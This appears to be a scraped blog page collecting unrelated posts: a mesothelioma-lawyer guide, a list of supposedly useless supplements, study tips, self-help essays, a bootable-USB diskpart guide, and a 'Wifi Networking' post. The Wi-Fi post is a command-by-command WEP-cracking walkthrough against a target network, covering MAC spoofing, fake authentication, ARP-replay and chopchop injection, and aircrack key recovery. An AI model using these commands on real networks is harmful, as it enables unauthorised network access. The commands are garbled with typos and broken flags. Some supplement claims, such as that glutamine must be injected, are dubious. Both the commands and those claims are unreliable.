Iceberg Corporation Inc.

Mesothelioma

2013-10-16T11:19:00.001Z

Mesothelioma is a disease caused by exposure to asbestos. Mesothelioma victims almost always win money damages if they sue, but the cases can be complicated and a mesothelioma lawyer is usually needed to identify the parties who are liable for the asbestos exposure (asbestos manufacturers, insurance companies, or asbestos victims' trust funds) and begin the lawsuit or settlement process. Because mesothelioma cases are a specialized legal niche it's important to understand how mesothelioma lawyers operate and how to hire a good one. Read on to learn more. (For general information about hiring an attorney, check out Nolo's article Finding a Personal Injury Lawyer)

The Legal Background

People who find out that they are suffering from mesothelioma (often as a result of working with asbestos) usually have an excellent chance of recovering substantial money damages -- either from the company that manufactured or installed the asbestos, or from an asbestos victims' trust fund. But these cases can get complex, especially from a medical standpoint, since mesothelioma often shows up 10 to 40 years after exposure to asbestos. Having an experienced attorney on your side -- especially one with a record of success in mesothelioma cases -- can make all the difference. (To learn more about mesothelioma cases, read Nolo's article Asbestos and Mesothelioma Lawsuits: What to Expect.)
Finding the right mesothelioma lawyer can be key to your case, but it can also take time and effort. If you are not feeling well, make sure you get help from a consumer savvy relative or friend. As discussed below, you'll get the best results if you do careful research as to a lawyer's qualifications and track record and then interview several. You also may need to bargain as to the amount of the contingency fee and other costs.

Ways to Find the Right Mesothelioma Lawyer

Ask former colleagues. If you have been diagnosed with mesothelioma, chances are good that people who you worked with at the time of your exposure also suffer from it and may have already hired a lawyer and filed a lawsuit. If they have achieved a good result through a lawyer they like and respect, this is one good place to start.
Check Nolo's online Lawyer Directory. Some attorneys featured in Nolo's lawyer directory handle mesothelioma cases (full disclosure: lawyers pay a fee to list with Nolo). These attorneys have filled out a detailed profile containing valuable information about their schooling, professional background, legal specialties, and personal attitudes. While there are also a number of other legal directories, we believe Nolo's provides the most consumer friendly information. Go to the Mesothelioma - Asbestos section of Nolo's Lawyer Directory to find a mesothelioma attorney in your area.
Investigate lawyers online. Because mesothelioma cases can be so profitable, many law firms spend big dollars on Internet ads and websites. Just Google mesothelioma lawyer and you'll find a long list. Click on a few ads or websites and you'll see that everyone claims to be the best of the best. How do you cut through all this hype to focus on a short list of hopefully excellent mesothelioma lawyers? We recommend that you carefully read the legal information each lawyer provides. In our experience lawyers who provide well-written, in-depth information demonstrate a superior sensitivity to client needs. By the same token, we distrust lawyers who say little more than "I can get you millions pronto -- trust me."

How to Choose the Right Mesothelioma Lawyer

Check a lawyer's references. A good mesothelioma lawyer should be able to provide you with the name and contact information of a few satisfied clients. Of course, the lawyer will have to get the permission of the client, but this can usually be arranged. Although you'll only be given the names of very satisfied clients, it can still be very helpful to talk to someone who has worked with the lawyer you are considering in a mesothelioma case.
Interview the lawyers. Once you develop a short list of mesothelioma lawyers, contact their offices (again, get help if you are very ill). Request a case evaluation and, if possible, arrange a personal interview. Ask who exactly will manage your case (often a case manager, who is a non-lawyer in larger firms). Find out who you can call or email if you have questions, and how long it will take to get back to you. Anticipating these questions, many law firms will give you a written overview of what to expect. Especially if it's detailed and guarantees that all calls and emails will be returned in 24 hours, this is a good sign.
Negotiate fees with the lawyer. Mesothelioma lawyers charge a contingency fee for their legal representation, plus additional costs to prepare your case. One good approach is to contact several lawyers, making it clear that you'll take your time before signing a fee agreement. Your goal is to find a good quality lawyer who will represent you for 25% to 30% of your recovery, instead of 33% to 40%. But keep in mind that mesothelioma cases can be very complex. If you find an attorney who comes well-recommended and has a lot of experience (and a record of success) representing mesothelioma clients, a few percentage points on a contingency fee probably shouldn't dictate whether or not you hire that attorney.
Find out how are costs handled. A good attorney will deduct costs (things like filing fees and expert witnesses' compensation) off the top of any settlement or award, before the money is divided and the attorney takes their agreed-upon percentage. That way you and the attorney share payment of the costs. And a good attorney will give you receipts showing that all costs incurred were specific to your case -- meaning you're not being saddled with part of the bill for the firm's general operating expenses.

Supplement companies are expert marketers and push products that flat out don't do a thing.

After going through supplement guides, I've see a lot of popular supplements that promise diamonds but deliver coal.

They end up being about as useless as a hat full of busted holes.

Below are 5 big sellers that don't perform as advertised.

1. BCAAs

This is an easy one to fool people on. I use to buy them myself.

They're important. That's where we get fooled.

But we can easily get them in our diet. Especially if taking protein powder.

2. Glucosamine

I fell into this trap too. But it was more broscience than anything else.

It just doesn't help active people with their joint pain.

3. Tribulus terrestris

This stuff flies off the shelves.

It does make you randy.

But...

doesn't do a single thing to raise your testosterone.

This stuff doesn't even work when inject into lab rats.

4. Conjugated Linoleic Acid

You may know it as the weight loss wonder CLA. But a supplement under a different name doesn't work any better.

5. Glutamine

This is another tricky one.

Their right in the fact that it does help build muscle.

What they don't tell us is that the pill or powder that they sell...

needs to be injected.

Yikes!

When we swallow glutamine it gets absorbed by the intestines. It never makes it to our muscle.

A total waste.

That's just 5. There are lots more.

Study tips and hacks for All

2013-10-16T11:12:00.003Z

Preparing for Exam Success!

Having exams ahead and e-learning taking over books, I wanted to share with you some top study tips to assist you in learning and improving memory to enhance maximum successes in your exams! Apply these study tips and you will be surprised to see how you can improve your study skills and put yourself on track to achieving those A’s in your exams – it’s just like winning an Oscar!

Study Tip #1

Don’t hesitate to ask study questions:Certainly, depending on what you’re studying, it may be quite difficult to get into a position to understand a concept,theory or other information you need to learn. This is where it is invaluable to ask questions of your teachers, lecturers or other educators. Don’t be afraid of asking a ‘stupid’ question – there really is no such thing when it comes to study and learning! Embrace your curiosity, for as William Arthur Ward said: “Curiosity is the wick in the candle of learning.” Doing so will allow you to fill in the blanks and better prepare you for exams.

Study Tip #2

Understand your study topics in your own words: Your teacher or lecturer can explain something to you, you can learn it from a text book, your friends can study with you, even your own notes can explain it to you but all these explanations are of little use if, by the end, you can’t explain what you have learned to yourself. If you don’t understand a study concept that you need to illustrate in an exam to get top exam results, then you won’t be happy with your end exam result. To combat this, get into the habit of explaining whatever it is you are studying, in your own words, so you understand your study notes. The key to help improve your memory is to understand what you’ve learned when you are studying it. So don’t just memorise and tick off the list – make sure you understand your theory.

Study Tip #3

Quiz yourself: Once you feel you understand a concept or a topic, it is important to test yourself on it. Try and replicate exam conditions as much as possible: turn your phone off, don’t talk, time yourself etc. You can set yourself a study quiz or practice exam questions and, so long as you approach it with the right mindset, you can get a very good idea of how much you know. You gain a greater insight into where you stand in relation to what you’ve studied so far. Also, it will give you some much need exam preparation, making the actual exam a more comfortable experience. Flashcards are ideal for boosting your memory and help you recall theory, definitions and key dates – these are great for quick study sessions, especially straight before an exam.

Study Tip #4

Get Creative with online study tools: Don’t feel obliged to just sit in front of a book with a highlighter; there are many different ways to study. You should pick whatever works for you. Try using as many study tools and techniques as possible to help you study better and find what works best for you. Perfect examples of such study tools would be online flashcards, mind maps, mnemonics, online study planners, video and audio resources. Login to your ExamTime account now to access your free online study tools; mind maps, flashcards, study quizzes and practice exam answers and bring your study notes with you wherever you are.

Study Tip #5

Set your study goals and create a flexible study plan: In order to achieve exam success you need to know what you want to achieve. That’s why it is extremely important to set your Study Goals now and outline to yourself what you need to do. With your study goals in mind and your end of year exams weeks and months away it makes sense to have a flexible study plan as opposed to a rigid one. The closer you get to your exams the more concrete your study plan should be, but at this point it should be porous. It should be broad enough to allow you to add and change aspects but concise enough so you know you’re covering each subject/topic as best you can at this point.

2013-10-15T18:34:00.001Z

Facing Life’s Big Challenges and Coming out on Top

“Life always waits for some crisis to occur before revealing itself at its most brilliant.” ~Paul Coelho

I will never forget that day.
It is still as clear in my mind as if it were yesterday.
My son was just a little over three. He was going to a mainstream kindergarten and, well, his teacher had very gently suggested we seek a professional’s help.
You see, he didn’t understand what the teachers were saying to him. He was restless and fidgety. He also bounced form activity to activity.
This was our first ever visit to a speech pathologist, and she suspected autism. The possibility that our child has a life-long disability seemed like a death sentence.
So we did what any normal, self-respecting parent would do: we dismissed her concerns.
We were outraged. How dare she say this? What right did she have? Our son is not autistic. He just has a language delay; he’s just tad over active.
Then we did the next best thing: we put him in an early intervention center.
Although we were sure that it wasn’t this thing that was wrong, we knew something was. And we had to do something. We had to be responsible parents. Now he was getting help with his sensory issues (something I understood much later), fine motor, play, and language skills.
In retrospect, I wonder how I could have missed those early signs. I guess that was the greatest form of a denial—only a mother could find a justification for every symptom of what could be wrong.
It’s quite ironic, actually. We had an appointment with the developmental pediatrician and been waiting for this day for over two months. And then we had to cancel
My husband called in to let them know, and the receptionist asked, “Are you sure you can’t make it today? It will take a long time to reschedule.”
My husband said, “Yes, my wife has just given birth to our second son.”
And so amidst all the chaos of having a newborn, my first born got diagnosed and I felt as if my life was completely shattered.
I felt cheated—for me, my son, and my family.
He did not deserve this.
We did not deserve this.
How could it happen to us? What did we do wrong?
There was time for grief and acceptance. (Don’t know how many days I cried for.) Then it was time to get to work.
And so I did.
I decided to leave my job in academia. I did not care about any of that any more. All I cared about was my son. I wanted to make everything right.
And the only way I knew was to become an expert myself. This is something I excel it— researching, synthesizing, and becoming a self-proclaimed know-it-all on a topic of my choice.
Only this time, the stakes were high. And the goal was to save my son’s present and his future.
I bought 30+ books on Autism spectrum disorders and therapies, and memoirs of parents living with these special children. I got informal training in speech, occupational, and ABA therapies and hired my own therapists to do the work.
And my son made progress by leaps and bounds. He went through two years worth of therapies in six months, shocking his therapists and consultants alike. How could he do this, they wondered. They had never seen any child do this before. Ever. They called him gifted.
We were so grateful for his learning ability.
This was the kid who “might never catch up,” communicated to us by a helpful early intervention staff member.
Two years of tears and sweat, a big chunk of our joint savings, and lack of any social activities went into this story.
He surpassed all their expectations. He outperformed all his fellow classmates in math and reading. He is a kid who is eccentric—the emotional age of kids half his age, loud, always happy, always fun. And he is going to a mainstream school.
His diagnosis was formally changed to Asperger’s, which has a better prognosis in terms of social and emotional well-being.
Because I ended up staying at home for over five years (my second child also started speaking late), I had time to re-evaluate my life.
I decided to let go of all that I was expected to do—a job that didn’t feed my soul, a social circle that started to disappear, and flashy stuff that we simply couldn’t afford anymore.
My son’s diagnosis turned our lives upside down. But it also taught us to appreciate both of our sons for who they are and to be grateful for each and every blessing in our lives.
At the end, I came out on top because I adopted the following beliefs:
Awful things might happen to you; take all the time you need to face the reality.
You need to grieve; do it.
Need to cry, not come out of your house, stay in bed all day? You can do that.
What you can’t do is keep it all bottled up inside, pretending it never happened. That your life is the same as it was a day before.
You need to face your emotions and deal with them. But don’t rush. Take your time. Healing takes time. It will happen when you come to terms with it.
It is not your fault.
I am sure you are thinking that it’s your fault—that whatever you’re going through, you caused it somehow.
We all feel that way. We scrutinize our life. We go over every inch to try and see if we did anything wrong.
It’s not your fault—and it’s also not going to do you any good thinking like that and torturing yourself in the process.
If you need to hear it, ask somebody you trust. And then really listen. Say it with me: It is not your fault.
Let go of what you don’t need anymore.
You have faced a setback. Your life is different, so you have to do things differently.
What is it that you don’t need in your life anymore? Is there a job that isn’t working for you? Any commitments you made? How many things do you say yes to that you could just pull back from?
Bow out gracefully.
Your husband loses his job. Your teenager has been in an accident. Your mom’s tumor is malignant. Your brother lost his house so his family has to move in temporarily.
Whatever it is, it needs your attention, which means the unimportant must go.. Now.
Start believing and discover possibilities.
Your life is different now but that doesn’t mean it has to be worse. It can be better. Don’t listen to the naysayers and anyone else who tells you otherwise.
Don’t listen to the experts who tell you that your chances are not good. Listen to your gut. Do the work.
You might feel like you are all alone in this, or that you don’t have all the resources. You might feel trapped or feel like you don’t have many choices. Become resourceful. Do the best you can.
Amidst that chaos, can you discover any truths about your life and your dreams?
Now that you have let go of stuff that doesn’t matter, stuff that didn’t work, what could you do to bring normalcy to your life? What can you do to stay sane?
You don’t have to go through a major life change to appreciate what you have. All it takes is a wake up call. Mine was major; yours doesn’t have to be.
What will it take for you ?

2013-10-15T18:22:00.005Z

3 Lessons to Help You Find Peace When Fighting a Hard Battle

“He who has health has hope, and he who has hope has everything.” ~Proverb
August 3, 2001. I still remember it like it was yesterday. It was around six o’clock in the evening when she sat us down. Luther Vandross was singing in the background on the radio: “And it’s so amazing and amazing, I can stay forever and forever. Here in love and no, leave you never.”
Quite ironic when you think about the news I would soon receive.
I had just finished summer school and my sister had just returned from an internship on the East Coast. My mother had such a pensive, yet positive look on her face when she asked us to come into the living room.
“This is hard for me to say, so I am just going to say it: I have cancer.”
Immediately, my sister and I broke into tears because, up until that point, every single relative or friend who had battled cancer lost. And in my shocked state, I thought it was perhaps time to start saying goodbye because I was already feeling quite defeated.
The person who had always been the anchor in our family would soon become lighter due to weekly radiation and chemotherapy appointments. Although she physically grew weaker, her actions taught me a few lessons I will never forget.
Today, I would like to share three of them with you:
Learn to Let Go
Impermanence. Everything fades away and nothing lasts forever.
My mom used to have long, beautiful black hair with a sheen that many envied..
Unfortunately, the type of chemotherapy she was being treated with slowly killed her hair cells. As for many women, this was very hard for her to accept because it was a part of her identity, her femininity, and it’s generally what society deems to be beautiful.
But as the appointments stacked up and the strands dwindled away, she had to face a reality that was quite sobering: most of her hair was gone, and she needed to find the courage to ask my father to completely shave her head.
Then the day finally came.
As the remaining hair fell to the ground, Black Rapunzel was replaced by a cancer patient who learned to be grateful for what was instead of trying to hold on to something that no longer existed.
As Steve Maraboli wrote, “The truth is, unless you let go, unless you forgive yourself, unless you forgive the situation, unless you realize that the situation is over, you cannot move forward.”
My mother learned to let go and finally made the decision to move forward.
Inspire Yourself with Your Journey
“That it will never come again is what makes life so sweet” is something my mother would say. “So write it all down—the victories, the setbacks, the magical moments, the not so loving moments, and the moments of complete loneliness. Write it all down to serve as a reminder.”
Each day we awaken, we are given a pen with 86,400 seconds of ink to write with.
During her first week of treatments, my mother picked up a journal to write about her fight with the Big C and how she planned to defeat it, even though she was sometimes the one knocked down for a while. Nevertheless, she persisted.
Sure, she wrote about her hair loss, the pain at night, and the sadness she sometimes felt. But she also wrote about the joys of raising her children, the extra energy she could sometimes muster up to walk a bit further, and the faith and hope that was keeping her grounded.
She saw her journal as a way to inspire herself when she wanted to look back and see how far she had come on her journey thus far.

Love Well and Far

Cancer woke us up to the fact that nothing lasts forever, and words that go unsaid may never be spoken.

After my mother’s diagnosis, my close family got even closer as she expressed her desire for us to show more love to each other, and to be grateful not only for the fun, easy times, but also for the tougher times.

That’s what it means to love well and far: loving unconditionally even when it’s hard. Sharing your love even when it’s difficult. Being there for the people you love when they need you the most.

So I ask you these three important questions: Is there anything in your life that you feel you need to let go of? Are you recording the magic moments from your life? Are you reaching far with your love?

I wanted to share these three lessons not only to pay tribute to my mother, who has been in remission for the past twelve years, but also to serve as a beacon of hope for those who may be dealing with something similar right now. It’s hard and it hurts, but now is the time to be stronger and more loving than ever.

Now it is the time to love well and far

2013-10-15T18:18:00.004Z

Preserving Kindness in a Busy World: We Are All Connected

“.The smallest act of kindness is worth more than the grandest good intention.” ~Oscar Wilde
Three times in the last two months I have nearly been run over by a fellow shopper’s grocery cart. Each time the customer rushing closely behind me had to suddenly swerve and push past, clearly annoyed with the obstacle, which was me.
As unpleasant as this was, I can relate to that shopper’s sense of urgency. Grocery shopping is one of my least favorite tasks. I focus on my list, sometimes while talking on the phone, and get done as quickly as possible.
There has always been busyness and stress to distract us from one another. Now with the pervasiveness of smart phones, there are requests for our attention always at our fingertips, pulling us away from the people right in front of us.
When I focus exclusively on my own needs I, too, am oblivious to the people around me.
I used to take my grandmother to the grocery store, when she was still determined to do her own shopping. Long suffering with emphysema, it took a tremendous amount of energy for her to get dressed and go on such an outing.
As she rode around in her scooter while I walked in tandem, she always had a smile for the ladies behind the deli counter who remembered her name. At check out, too, the clerks recognized her and would say how good it was to see her. Once in a while another shopper would look at her and share a friendly greeting.
In those moments I glimpsed my grandmother’s younger, playful self as she bantered back and forth, eager to experience those connections again.
I felt overflowing gratitude for these small acts of kindness. These folks could easily have continued about their day without pausing to acknowledge this frail woman. Such a small effort on their part became a high point that would set the tone for the rest of my grandmother’s day.
The reason she persevered in doing her own shopping was not the independence of getting her own groceries; it was the shared humanity she experienced in these small acts of kindness.
The conversations with the salesclerks and the few shoppers who smiled and greeted her buoyed her spirits beyond anything I alone could provide.
In the produce section recently I was considering my mental shopping list when a woman approached. She paused a moment to gaze at the heads of red leaf lettuce. Then she turned to me and beamed,
“Aren’t they just so pretty?!”
She happily picked one up and continued shopping. As I paused in front of the lettuces I realized they were quite lovely. And I smiled.
In one simple, refreshing comment that woman shared an acknowledgement of me..
She saw me, affirmed our shared experience, and presumed that I, too, would value the beauty laid before us.
My life is full. I am not seeking friendship in the grocery store.
But in that simple exchange I was reminded that we are all connected to one another.
I recently read that “among our most powerful human motive is the desire to form and maintain social bonds.” (Baumerstein & Leary.) We are social beings. No matter how busy or independent we are, our actions affect others.
With that in mind, while I was at the grocery today I made a few changes.
Slow down.
I walked at a steady pace. No speeding down the aisles.
At the freezer aisle a lady in a scooter asked me for help. This never happened when I was racing through the aisles. I gladly reached what she needed.
Observe.
I looked around me and made eye contact with several people. I stayed off my phone.
In the cereal aisle I noticed a woman with two young children, and I smiled at her.
Stay present.
At the check out, an older gentleman ahead of me turned around hesitantly. On making eye contact he initiated a conversation about his wife who passed away. It was a brief exchange that never would have happened had I been checking my email on my smart phone.
I will never know how these small acts of kindness affected anyone else today. But I do know that I respected my connection to these strangers by being fully present in those moments.
Being open to others might take us away briefly from our multitasking, busy lives. But by doing so we honor the inherent value in ourselves and each other. And nobody is left feeling like a speed bump in the grocery aisle of life

2013-10-15T18:13:00.003Z

Loving Others Without Expecting Them to Fill a Void

“You must love in such a way that the person you love feels free.” ~Thich Nhat Hanh
Conventional notions of what it means to love are populated with expectations for reciprocity that often get us into trouble. I know this personally, because whenever I have “freely” given my love, and it has not been rewarded with reciprocity, I have often come face to face with my resentment.
This has been especially true of my intimate relationships. I want the people who fall into this category, in particular, to reciprocate my love. I expect them to. But, as Thich Nhat Hanh points out, love is expansive, not constrictive.
I had a boyfriend once, for example, who although he seemed to genuinely like spending time with me, didn’t make our relationship much of a priority in his life. This was a guy who was pretty laid back in general and so I discounted his reserve and tried to be patient, thinking we’d eventually turn a corner.
What became clear, over the course of four years, is that my patience was thinly veiling a whole host of, now, disappointed expectations for reciprocity.. And in the end I felt angry and betrayed.
The question is: by whom really?
When some time had passed, and I was able to look back on the situation with a little more objectivity, it became clear I’d entered into the relationship with typical expectations for attention, time, comfort, and affection—in other words, an agenda.
I don’t mean to say there is anything wrong with wanting to be loved.. There isn’t, of course. It is a good and natural impulse.
We all deserve the love of our intimate others and should be careful to choose partners whose love for us is a natural, abundant outpouring of their feelings, and investment in us and our wellbeing.
The desire to be loved—to the extent that it is fueled by any underlying agendas or feelings of isolation and loneliness—can be very problematic. For it often turns a relationship into some version of, “I’ll scratch your back, if you’ll scratch mine.” And love isn’t contractual.
However, bargaining is, and this, unfortunately, was the weak foundation on which my own compromised relationship stood and faltered. He failed to invest in the relationship while taking advantage of all the intimate benefits, and I failed to draw good boundaries; I settled for being used, rather than being loved.
Revealed in all this was the fact that I hadn’t exactly been looking after my own needs very well. I’d neglected and betrayed myself, in some sense, and needed to assume greater responsibility for my own personal happiness.
To that end I began a quest for locating the sense of inner contentment and satisfaction I so craved, but was not in possession of. I read books, magazines, watched films, and made note of what resonated with me and what did not—what stirred my enthusiasm, what made sense.
I became more curious about my inner life. An act of love in itself.
Later, I began a regular practice of journal writing and meditation. I’m a big believer in the contemplative arts, which, for me, can include things like painting, running, swimming, knitting—almost anything that helps you reach a more contemplative state of mind. For me this was huge.
What I have learned the hard way is that a robust love stands the best chance of materializing between people who have ripened sufficiently as individuals. And it is always a work in progress.
Love is never complete. Just as life is always moving and re-shaping itself, this is true with love.
Thus, loving in such a way that the person we love feels free is as simple and straightforward as it is complex and discursive.
Essentially, we need to practice being the love we wish to see in the world, and that requires a deeply rooted sense of reverence and respect for ourselves, our intimate others, and the wonderfully complex, exquisitely vulnerable, flawed humanity we share.
It requires making mistakes, making amends, and trying to manage matters with an increasing degree of skill and intelligence. Not to mention forgiveness..
Here is a lovely quote by Rumi that really gets to the heart of the matter.
And still, after all this time, the Sun has never said to the Earth
“You owe me.”
Look what happens with love like that.
It lights up the sky.
Which is to say, we need to be love. That is all there really is to it in the end—simple, but not easy, as with most things worth striving for in life. Then the love returned by others can be received as the gift that it is.
Ultimately, love is its own reward. Generous. Expansive. Inclusive. Receptive. Liberating.
Love well, live well!

2013-10-15T18:10:00.003Z

How Anger Leads to Anxiety and What to Do About It

“Holding on to anger is like grasping a hot coal with the intent of throwing it at someone else; you are the one who gets burned.” ~Buddha
I have a confession: I’m mildly obsessed with anger.
Not the negative feelings, the volatile outbursts, or the fly-off-the-handle reactions, but rather, how humans express anger.
I’ve largely made my living by dealing with various states of anger. More on that in a bit…
Years ago I was shopping at a bookstore with my friend Alex. We were first time parents with toddlers at home.
The idea was to find resources on how to raise emotionally healthy children, and to avoid the parenting mishaps we witnessed too often at work.
As school social workers we provided family counseling to young children and wayward teens in the inner city.
As Alex obsessively scoured the aisles for the latest research-based writings on emotional intelligence, my eyes gravitated towards an entirely different topic.
The black, matte-textured book with the blood red title practically screamed at me: Hatred: The Psychological Descent into Violence.
I devoured it that night.
It’s not that I didn’t want my kid to learn to soothe himself when upset, to resist peer pressure, or to misread social cues—but in that moment I felt a stronger pull.
Part of the fascination stems from my ancestry; I’m half-Italian and half-Irish. A DNA hotbed, if you will.
Meals were eventful. When I would lose my cool at the dinner table, my dad would wildly gesticulate in my mom’s direction. She, in turn, would shrug and reply “It’s The Fighting Irish, in her, I suppose.”
Additionally, I’m a psychotherapist who specializes in anxiety issues—generalized, panic and social anxiety disorders.
Do you want to know the quickest way to get a handle on your anxiety? Get ahold of your anger.
I realize this may sound counter-intuitive. After all, we don’t normally associate anxious people with bad tempers and loud voices.
The anger management connection is not exactly linear.
It takes courage to express anger—to stand up for yourself and your values, which sometimes includes taking an unpopular stance.
Bravery is valiant, strong, and admirable, while anxiety is cowardly, weak, and anything but enviable.
Because many anxious people have a problem asserting themselves, feelings of helplessness, avoidance, and frustration take residence.
Compounding the issue is the fear that if you express anger, you might lose control.
And since many anxious individuals are people-pleasers and caretakers, these feelings are especially unwanted.
But feelings go somewhere.
And typically, when you take on too much responsibility, you inevitably feel exhausted, taken advantage of, and angry.
If you don’t have a firm grasp on your anger responses, you’re going to hold it in until it explodes, or you’re going to yell, scream, stomp your feet, and possibly say and do things you regret.
Then comes the guilt. And next, the overwhelming urge to fix the situation, and before you know it, the cycle repeats itself again.
All the while, you’re wasting precious emotional energy that could be better used on enjoyable tasks.
The good news is there’s strategies you can do today to help you feel more calm.

I included five common ways I help us go from anxiety to zen below:

1. List the places in your body where you feel anger.
Is it in your chest? What happens to your heart rate? How does your stomach feel?
It’s important to recognize the physical cues of anger in order to alert youself that it’s time to calm down.

2. Visualize different behavioral responses. How do you react when you feel angry?

Do you scream, tantrum, throw things, bottle it inside, or pretend that everything is fine?
Write down three different reactions you will do instead, such as:
Calmly assert your needs, deep breathing, count to ten, walk away rather than stick around for a fight, and close your eyes to reduce visual stimulation, etc.

3. Make friends with “no.”
I know, many nice people have a hard time with this one. The association with conflict makes us feel mean, insensitive, or too direct.
Know that “no” means you respect yourself, your time, and your values. Practice saying “no” in the mirror until it sounds deliberate and natural.

4. Ask yourself if you value expressing anger over getting along with others..
It’s a fact that some people enjoy the adrenaline rush of letting go and projecting their uncomfortable feelings onto others.
Recognize that the short-term feelings of power are no match for the sleeplessness, headaches, and despair, which endure long after the “anger high” wears off.

5. Think about the last time you got angry. How did you go from anger to a calmer place?

You’re probably really good at getting angry already, so let’s focus on the other side. Be specific. What behaviors did you call upon to get to zen?
This will reinforce your coping strategies, and it will serve as a reminder to focus on solutions rather than stewing in anger.
The more you practice reacting in positive ways, waiting until the anger subsides, and considering your options, the more skilled you will become at managing anger.
It’s possible that your body is wired to be more anxiety-sensitive, and you’ll have to work harder than others to calm yourself. And that’s okay.
These are temporary solutions, and you’ll still need to control the anxiety itself. But they’ll get you started in learning to respond with more awareness, and less emotion.
You’re the expert on your life. And you get to choose how much anger to allow in your heart, mind, and body every day.
With intentional focus on doing things differently, you can feel more calm, confident, and in control.

2013-10-15T18:05:00.002Z

Dealing with Dark Days: Help for When You Don’t Feel Your Best

“The problem is not that there are problems. The problem is expecting otherwise and thinking that having problems is a problem.” ~Theodore I. Rubin

I live in a rainy city. For most of the winter it’s endless grey—weeks in which you’re lucky to get a glimpse of the sun at all.

It might be drizzling, it might be pouring, it might be merely fog. It is certainly wet.

For me and a lot of the people who live here, it’s almost a deal breaker. When I first arrived, I spent a lot of time complaining that it was raining again. When the sun came out, it was summarily dismissed with “yeah, but for how long?”

Sometimes I still fantasize of moving somewhere nice and hot. Maybe I’ll melt all summer long, but at least there’s sun, right?

But the bottom line is that I like living here. For a thousand reasons, it’s my home. I’m not going anywhere.

So my choice is this: embrace my decision with a full heart, rain and all, or live in bitterness, fearing the next cloud.

I can’t change the weather.

I also live in a rainy mind. Like everyone I’ve met, I have anxieties, fears, and a thousand other difficult moods that arise in me on days when I’d counted on sunny, focused productivity.

For the last couple of years it’s been panic attacks.

Everything is going so well until something derails and my world becomes scary, my breath comes with difficulty, and I’m falling down the rabbit hole again.

The hardest part to let go is my plans for the day. I was going to write a blog post, clean the kitchen, or go out with friends, but now I’m crouched in the corner expending all my energy to keep air pumping into and out of my lungs.

Not fun.

But recently I realized, I can’t change the weather.

Sure, I can do things to take care of myself so panic attacks are less likely, but if it’s not one thing it’s another:

I couldn’t sleep last night and now I’m tired. My project isn’t coming along like I’d hoped and now I’m cranky. The other people involved in my plans got sick and now they’re cancelled.

Life isn’t always sunny. Life gets rainy.

And no, that’s not fun. Rain on a day you were hoping for sun is frustrating and sad. It can seem like everyone in the world expects constant sunny positivity from you, and when you can’t manage it, there’s shame and guilt.

But it’s kind of magical when you decide to look at it like it’s largely outside of your control. What if today’s mini disaster blew in on the wind with the clouds? What if that same wind will blow it out again?

Maybe today you finally buy some rain boots so you can go for a walk without getting wet. Maybe today you learn that the beach is different in the rain, but still kind of cool. Or you could spend today curled in a ball, cursing the grey.

Either way, it’s still raining. Either way, you’re still lovable. You don’t have to like the weather, but it’s an option..

And the funny thing that happens, once you stop fighting your internal weather, is it becomes calmer. It turns out that so much of the problem was the expectation that things be different than they are, that everything would go smoothly.

Now when it rains, I tell myself I know that I will see the sun again. It might be two weeks, but it’ll happen. Probably sooner than I think.

When I feel anxiety creeping up I remind myself that we all have emotions that are difficult for us. That I will feel calm and happy again—probably pretty soon.

And then I have the space to make the best of the day I was given, not the one I ordered.

Some thoughts that help (think of them as affirmations, if you like):

1. This is the weather right now. I can’t change the weather, but I can take it into account to make myself more comfortable.

2. The sun always comes back. There are always days when things go right. This discomfort is temporary.

3. Everyone has hard days, even if not everyone talks about them. I’m still normal and lovable when my weather is rainy.

4. I’m allowed to feel disappointed that things aren’t going the way I wanted. I don’t have to be ready to make the best of it right away.

5. What if today were supposed to be rainy? What if this were exactly the right thing?

What helps you on days that things aren’t going according to plan?

2013-10-15T17:58:00.002Z

How to make bootable Pen Drive through command prompt and use it for installing Windows XP,Vista,7,8 ?

Steps:-
1. Open Command Prompt As Run as Administrator.

2. First type diskpart and press enter.It will open new cmd window.
3.Next type list disk command.It will list Disk number.In the below screenshot Disk 0 is hard disk and
Disk 1 is pen Drive.

4.Now type select disk 1 command in order to select your pen Drive(here Disk 1).
5. Now Type clean command in order to clean pen Drive.Here is the screen shot.

6. Now type create partition primary command to create primary part.
7. Now type select partition 1 command in order to select primary part.Here is the screen shot.

8. Now type active command in order to active selected part.
9. Now type format fs=fat32 command to assign format.It start formatting your pen Drive , and take few minutes so please wait to finish. Here is the screen shot.

10. Now type assign command.
11. At last type exit command. your pen Drive is ready to use.Use wherever you want to use like for installing Windows 7.

12. Copy all content of Windows 7 DVD folder (from your computer) and paste inside your bootable Pen Drive.
13. When the copy finishes, you are done. Use it to install Windows 7 in your computer/laptop or others.

Wifi Networking

2013-10-15T17:54:00.003Z

Before we begin let's get familiar with these terms

ESSID-access point's name

BSSID:MAC Address
MAC-Unique ID assigned to network interfaces for communications

First download Backtrack 5.It's got all the tools needed.You can get it from http://www.backtrack-linux.org/downloads/
Open a new command line and type te following commands in direct order

airmon-ng
airmon -ng stop (interface)
ifconfig (interface) down macchanger --00:11:22:33:44:55 (interface)
airodump-ng (interface)
Hit Ctrl+C to stop the list
airodump-ng -c(channel) -w (file name) --BSSID (BSSID) (interface)

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) (interface)/aireplay-ng -1 0 -e ESSID -a BSSID -h MAC address interface.
aireplay-ng -3 or 5 -b ( BSSID) -h 00:11:22:33:44:55 (interface)-wlan0
For aircrack:aircrack.ng wep key-01.cap

For monitor mode
airmon-ng <start|stop|check><interference>[channel frequency]

How to perform injection on
aireplay-ng -9(interface)
The AP that sends ping fan be injected
Copy down your targets BSSID,channel & ESSID
aireplay-ng -9 -e (ESSID) -a (BSSID) (interface)
This lets you test specifically,can be useful for verifying hidden SSIDs or alternative BSSIDs
3.Target a specific channel:
airmon-ng start (interface)(channel)
4.Change Mac adress:
airmon-ng stop (interface(s)
ifconfig (interface) down
macchanger--(faked:Mac)(interface)
Copy down faked Mac
5.Begin packet capture:

Using 'aireplay-ng -1 6000 -o 1 -q 10 -a (BSSID)
-h (faked:Mac) (interface)' may help for picky routers
7. ARP replay
* Put in the third shell*
aireplay-ng -3 or 5 -b (BSSID) -h (faked:Mac)(interface)
Where -3 means standard arp request replay
-b .............is the access point MAC address
-h.............is the source MAC address (either an associated client or from fake authentication)

Fake authentification
aireplay-ng -mon0 -1 0 - a (BSSID)
aireplay-ng mon0 -1 6000 -o 1 -p 10 -a (BSSID)

Injection
aireplay-ng mon0 -3 -b (BSSID)
aireplay-ng mon0 -2 -p 0841 -a (BSSID)

Injection(chop chop technique)
aireplay-ng -4 -h (fake MAC address) -b (BSSID) interface

Avoiding Debt Consolidation Scam

2013-10-15T17:53:00.001Z

